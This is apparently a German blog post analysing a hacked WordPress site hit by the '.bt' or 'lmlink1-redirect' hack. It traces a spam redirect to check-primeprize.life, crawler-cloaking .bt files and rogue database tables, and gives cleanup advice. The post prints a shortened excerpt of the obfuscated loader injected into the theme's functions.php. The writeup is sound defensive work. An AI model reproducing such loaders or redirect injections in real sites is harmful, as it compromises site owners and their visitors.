Vor kurzem wurde ich von einem Bekannten angerufen, weil seine WordPress-Seite augenscheinlich gehackt wurde. Das Problem war, dass bei jedem Besuch der Seite direkt eine Weiterleitung stattfand und ein Popup aufging, in dem Ballons flogen und man darauf hingewiesen wurde, dass man eine Amazon-Geschenkkarte im Wert von 1000 Euro gewonnen habe (siehe Bild unten). Juhu, gewonnen, dachte ich… Nein Spaß beiseite.. Ich begab mich direkt in die Untersuchung, die ich euch hier möglichst kurz beschreiben möchte.
Natürlich untersuchte ich erst das Offensichtliche. Im Browser öffnete ich die Entwickler-Werkzeuge und fand einen Hinweise auf eine Datei namens popunder.js. In der Konsole wurde angezeigt, dass der Cookie den Wert für “SameSite” mit einem ungültigen Wert besetzte. Bei näherer Betrachtung konnte ich feststellen, dass der seitenübergreifende Speicherzugriff auf die Webseite für die URL https://check-primeprize.life erlaubt wurde. Das “SameSite”-Attribut ist eigentlich dazu bestimmt Cookies von anderen Seiten (also Cross-Site) zu unterbinden und erst dann auszuführen, wenn wirklich die fremde Seite aufgerufen wird.
Parallel dazu betrachtete ich den Quelltext. Hier konnte ich den im folgenden Bild ersichtlichen <script>-Abschnitt finden, der die JavaScript-Datei “popunder.js” der Domain “check-primeprize.life” einband. Als Variable “popunder” wurde die Domain letztlich mit verschiedenen Parametern an die aufgerufene Webseite übergeben (Details erspare ich hier).
Danach habe ich den Quelltext der eingebundenen “popunder.js”-Datei betrachtet. Dort wurde ein Eventlistener auf die Seite gesetzt, der bei Klicks durch den Benutzer letztlich das Popup-Fenster öffnet und den Cookie setzt (Details erspare ich auch hier der Lesbarkeit halber).
Schön, das sind ja nur die Auswirkungen. Aber was lag denn nun im Backend und wie kamen die Täter da rein? Wie die Täter reinkamen weiß ich leider bis heute nicht. Die Vermutung liegt aber auf einem veralteten Plugin. Mein Tipp: Immer schön die Plugins und Themes updaten!
Über einen FTP-Zugang habe ich mich dann im Dateiverzeichnis im Backend umgesehen. Dort konnte ich im root-Verzeichnis und im Verzeichnis “wp-admin” zwei Dateien namens “.bt” finden. Diese könnte auch unter “wp-admin/css” liegen, was bei mir aber nicht der Fall war. Bei der Datei handelte es sich um eine Text-Datei, die verschiedenste IP-Adressen enthielt. Die genaue Funktion war mir noch nicht bekannt. Durch eine Google-Recherche bin ich dann aber auf den Artikel “How to Detect the .bt WordPress Hack” von BitofWP gestoßen. Hier fand ich heraus, dass die .bt-Dateien zur Identifikation von Crawlern dienen, sodass die Seite sich bei diesen normal verhält und nicht auf einer Blacklist landet (sonst wäre das “Geschäftsmodell” der Hacker ja zerstört). Außerdem wurde dort unter dem Titel “lmlink1-redirect” genau unser Problem beschrieben, weshalb ich weiterlas. Ich stieß hierbei auf die “functions.php”-Datei des jeweiligen Themes. Dort war, laut diesem Artikel, der Schadcode enthalten. Warum sollten die Hacker genau diese Datei nehmen? Die Frage lässt sich durch die Betrachtung des WordPress-Bootcycle beantworten. Die Datei wird bei jedem Besuch eines Nutzers auf der Seite mitaufgerufen, sodass jeder Besucher in den Genuss der Weiterleitung kommen kann!
Betrachtung der Datei “wp-content/themes/<themename>/functions.php”
Also suchte ich im Ordner des aktiven Themes nach der “functions.php”-Datei. In Zeile 1-64, noch vor dem “offiziellen” Code, war ein Code mit komischen Variablennamen eingefügt worden. Diesen habe ich in sehr stark gekürzter Form hier eingefügt:
@include(‚ template-config.php ‚);
@ini_set(‚display_errors‘, ‚0‘);
error_reporting(0);
global $zeeta;
if (!$npDcheckClassBgp && !isset($zeeta)) {
$ea = ‚_shaesx_‘; $ay = ‚get_data_ya‘; $ae = ‚decode‘; $ea = str_replace(‚_sha‘, ‚bas‘, $ea); $ao = ‚wp_cd‘; $ee = $ea.$ae; $oa = str_replace(’sx‘, ’64‘, $ee); $algo = ‚default‘; $pass = „Zgc5c4MXrK0ubQgN4pBWZv2dPRfXN70cmCWIX7HVoQ==“; […]
Die Funktionalität des Codes in der “functions.php”-Datei wurde unter dem Link zum “lmlink1-redirect”-Hack gut beschrieben. Im Grunde wird der eigentliche Payload heruntergeladen, der dann ausgeführt und danach wieder gelöscht wird. Der Payload ist letztlich für das Anlegen der .bt-Dateien und auch für die Weiterleitung auf “check-primeprize.life” verantwortlich.
Wie im obigen Codesnippet sichtbar wurde die Datei “template-config.php” eingebettet. Diese befand sich ebenfalls im Verzeichnis “wp-content/theme/<themename>/”. Bei der Untersuchung dieser Datei zeigte sich, dass bei Ausführung viele Datenbankoperationen durchgeführt werden. Einerseits werden zwei Tabellen namens “wp_pcachewpr” und “wp_lcachewpr” in der WordPress-Datenbank angelegt, andererseits werden in diesen Tabellen entsprechende Links gespeichert (u.a. https://<ihreDomain>.de/muenchner-singles-erfahrungen-version oder https://<ihreDomain>.de/erstes-date-maenner-kennenlernen). Hierbei handelt es sich um die URLs über die die Nutzer über die infizierte Webseite auf “check-primeprize.life” weitergeleitet werden. Diese Art von URLs wurde bei der Untersuchung der HTTP-Serverlogs in einer großen Masse festgestellt.
Die in den obigen Abschnitten dargestellten Hinweise (Indicators of Compromise) auf den .bt-Hack sollen hier in Listenform kurz aufgezeigt werden:
Vorsicht! Hier sollte man nicht einfach irgendwelche Dateien blind löschen! Wichtig ist, dass man bei der Bereinigung der Webseite Schritt für Schritt vorgeht und immer wieder die Funktionsfähigkeit der Seite prüft. Solltet Ihr hierbei Hilfe benötigen schreibt mir einfach!
Folgende Schritte solltet ihr unternehmen:
Hinweis: Bei der Bereinigung der Seite solltet ihr nicht nur das Theme-Verzeichnis eures aktuellen Themes prüfen, sondern auch die anderen Theme-Verzeichnisse! Solltet ihr da Plugin “Updraft” für Backups oder andere Backup-Plugins verwenden, müsst ihr auch unter dem Verzeichnis “wp-content/updraft/themes-old/<themename>” nachsehen. In der Regel werdet ihr dort auch die schadhaften Dateien finden, sofern der Hack schon länger auf eurer Seite persistent ist.